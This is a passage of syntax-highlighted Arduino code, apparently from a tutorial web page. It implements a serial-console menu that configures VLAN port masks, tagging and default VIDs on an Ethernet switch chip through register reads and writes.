Serial.<span style="color: #007788;">println</span><span style="color: green;">(</span><span style="color: red;">"5. Show link status"</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">println</span><span style="color: green;">(</span><span style="color: red;">"6. Load factory defaults"</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">print</span><span style="color: green;">(</span><span style="color: red;">"Enter you choice:"</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">while</span><span style="color: green;">(</span> Serial.<span style="color: #007788;">available</span><span style="color: green;">(</span><span style="color: green;">)</span> <span style="color: navy;"><=</span> <span style="color: #0000dd;">0</span><span style="color: green;">)</span> <span style="color: green;">{</span><span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">int</span> ch <span style="color: navy;">=</span> Serial.<span style="color: #007788;">read</span><span style="color: green;">(</span><span style="color: green;">)</span><span style="color: #000040;">-</span><span style="color: red;">'0'</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">println</span><span style="color: green;">(</span>ch<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">if</span> <span style="color: green;">(</span> ch <span style="color: navy;">>=</span> <span style="color: #0000dd;">0</span> <span style="color: #000040;">&&</span> ch <span style="color: navy;"><</span> <span style="color: #0000dd;">7</span> <span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">if</span> <span style="color: green;">(</span> ch <span style="color: navy;">==</span> <span style="color: #0000dd;">0</span> <span style="color: green;">)</span> <span style="color: #666666;">//Show current</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">println</span><span style="color: green;">(</span><span style="color: red;">"VID Assignment ( 0 = untagged ):"</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">for</span> <span style="color: green;">(</span> k <span style="color: navy;">=</span> <span style="color: #0000dd;">0</span><span style="color: teal;">;</span> k <span style="color: navy;"><</span> <span style="color: #0000dd;">16</span><span style="color: teal;">;</span> k<span style="color: #000040;">++</span> <span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">print</span><span style="color: green;">(</span>k<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">print</span><span style="color: green;">(</span><span style="color: red;">" ports "</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
printPortMask<span style="color: green;">(</span>readReg<span style="color: green;">(</span><span style="color: #0000dd;">30</span>,<span style="color: #0000dd;">14</span><span style="color: #000040;">+</span>k<span style="color: green;">)</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">println</span><span style="color: green;">(</span><span style="color: red;">""</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">print</span><span style="color: green;">(</span><span style="color: red;">"Remove VLAN tag ports: "</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
printPortMask<span style="color: green;">(</span>readReg<span style="color: green;">(</span><span style="color: #0000dd;">30</span>,<span style="color: #0000dd;">13</span><span style="color: green;">)</span> <span style="color: navy;">>></span> <span style="color: #0000dd;">4</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">println</span><span style="color: green;">(</span><span style="color: red;">""</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">print</span><span style="color: green;">(</span><span style="color: red;">"Add VLAN tag ports: "</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
printPortMask<span style="color: green;">(</span>readReg<span style="color: green;">(</span><span style="color: #0000dd;">30</span>,<span style="color: #0000dd;">12</span><span style="color: green;">)</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">println</span><span style="color: green;">(</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">println</span><span style="color: green;">(</span><span style="color: red;">"Default VID assignment for untagged traffic:"</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">for</span> <span style="color: green;">(</span> k <span style="color: navy;">=</span> <span style="color: #0000dd;">0</span><span style="color: teal;">;</span> k <span style="color: navy;"><</span> <span style="color: #0000dd;">8</span><span style="color: teal;">;</span> k<span style="color: #000040;">++</span> <span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">print</span><span style="color: green;">(</span><span style="color: red;">"Port "</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">print</span><span style="color: green;">(</span>k<span style="color: #000040;">+</span><span style="color: #0000dd;">1</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">print</span><span style="color: green;">(</span><span style="color: red;">" untagged traffic will have VID "</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">println</span><span style="color: green;">(</span>readReg<span style="color: green;">(</span><span style="color: #0000dd;">30</span>,<span style="color: #0000dd;">3</span><span style="color: #000040;">+</span>k<span style="color: green;">)</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">if</span> <span style="color: green;">(</span> ch <span style="color: navy;">==</span> <span style="color: #0000dd;">1</span> <span style="color: green;">)</span> <span style="color: #666666;">//Assign ports to a specified VID</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">print</span><span style="color: green;">(</span><span style="color: red;">"Insert VID(0-15) with a leading 0 if needed ( 04, 09, 13 , .. ):"</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">int</span> vid <span style="color: navy;">=</span> getInt<span style="color: green;">(</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">if</span> <span style="color: green;">(</span> vid <span style="color: navy;"><</span> <span style="color: #0000dd;">0</span> <span style="color: #000040;">||</span> vid <span style="color: navy;">></span> <span style="color: #0000dd;">15</span> <span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">println</span><span style="color: green;">(</span><span style="color: red;">"Invalid VID"</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">return</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">unsigned</span> <span style="color: blue;">int</span> current <span style="color: navy;">=</span> readReg<span style="color: green;">(</span><span style="color: #0000dd;">30</span>, <span style="color: #0000dd;">14</span><span style="color: #000040;">+</span>vid<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">unsigned</span> <span style="color: blue;">int</span> newmask <span style="color: navy;">=</span> inputPortMask<span style="color: green;">(</span>current<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
writeReg<span style="color: green;">(</span><span style="color: #0000dd;">30</span>, <span style="color: #0000dd;">14</span><span style="color: #000040;">+</span>vid, newmask<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">if</span> <span style="color: green;">(</span> readReg<span style="color: green;">(</span><span style="color: #0000dd;">30</span>,<span style="color: #0000dd;">14</span><span style="color: #000040;">+</span>vid<span style="color: green;">)</span> <span style="color: #000040;">!</span><span style="color: navy;">=</span> newmask <span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">println</span><span style="color: green;">(</span><span style="color: red;">"Can't set register value"</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
saveSettings<span style="color: green;">(</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">println</span><span style="color: green;">(</span><span style="color: red;">"OK"</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">if</span> <span style="color: green;">(</span> ch <span style="color: navy;">==</span> <span style="color: #0000dd;">2</span> <span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">unsigned</span> <span style="color: blue;">int</span> current <span style="color: navy;">=</span> readReg<span style="color: green;">(</span><span style="color: #0000dd;">30</span>,<span style="color: #0000dd;">13</span><span style="color: green;">)</span> <span style="color: navy;">>></span> <span style="color: #0000dd;">4</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">unsigned</span> <span style="color: blue;">int</span> newmask <span style="color: navy;">=</span> inputPortMask<span style="color: green;">(</span>current<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
writeReg<span style="color: green;">(</span><span style="color: #0000dd;">30</span>, <span style="color: #0000dd;">13</span>, PHY30_REG13_VLAN_EN <span style="color: #000040;">|</span> <span style="color: green;">(</span> newmask <span style="color: navy;"><<</span> <span style="color: #0000dd;">4</span> <span style="color: green;">)</span> <span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
saveSettings<span style="color: green;">(</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">println</span><span style="color: green;">(</span><span style="color: red;">""</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">println</span><span style="color: green;">(</span><span style="color: red;">"OK"</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">if</span> <span style="color: green;">(</span> ch <span style="color: navy;">==</span> <span style="color: #0000dd;">3</span> <span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">unsigned</span> <span style="color: blue;">int</span> current <span style="color: navy;">=</span> readReg<span style="color: green;">(</span><span style="color: #0000dd;">30</span>,<span style="color: #0000dd;">12</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">unsigned</span> <span style="color: blue;">int</span> newmask <span style="color: navy;">=</span> inputPortMask<span style="color: green;">(</span>current<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
writeReg<span style="color: green;">(</span><span style="color: #0000dd;">30</span>, <span style="color: #0000dd;">12</span>, newmask <span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
saveSettings<span style="color: green;">(</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">println</span><span style="color: green;">(</span><span style="color: red;">""</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">println</span><span style="color: green;">(</span><span style="color: red;">"OK"</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">if</span> <span style="color: green;">(</span> ch <span style="color: navy;">==</span> <span style="color: #0000dd;">4</span> <span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">print</span><span style="color: green;">(</span><span style="color: red;">"Insert port (1-8): "</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">while</span><span style="color: green;">(</span> Serial.<span style="color: #007788;">available</span><span style="color: green;">(</span><span style="color: green;">)</span> <span style="color: navy;"><=</span> <span style="color: #0000dd;">0</span><span style="color: green;">)</span> <span style="color: green;">{</span><span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">int</span> chp <span style="color: navy;">=</span> Serial.<span style="color: #007788;">read</span><span style="color: green;">(</span><span style="color: green;">)</span><span style="color: #000040;">-</span><span style="color: red;">'0'</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">println</span><span style="color: green;">(</span>chp<span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">if</span> <span style="color: green;">(</span> chp <span style="color: navy;"><=</span> <span style="color: #0000dd;">0</span> <span style="color: #000040;">||</span> chp <span style="color: navy;">></span> <span style="color: #0000dd;">8</span> <span style="color: green;">)</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">{</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
Serial.<span style="color: #007788;">println</span><span style="color: green;">(</span><span style="color: red;">"Invalid port"</span><span style="color: green;">)</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: blue;">return</span><span style="color: teal;">;</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
<span style="color: green;">}</span></div>
</li>
<li style="background: none; list-style: decimal outside; margin: 0px; padding: 0px; vertical-align: top;"><div style="background: none; font-size: 1em; font-stretch: normal; line-height: 1.2em; margin: 0px; padding: 0px; vertical-align: top;">
</div>
</li>
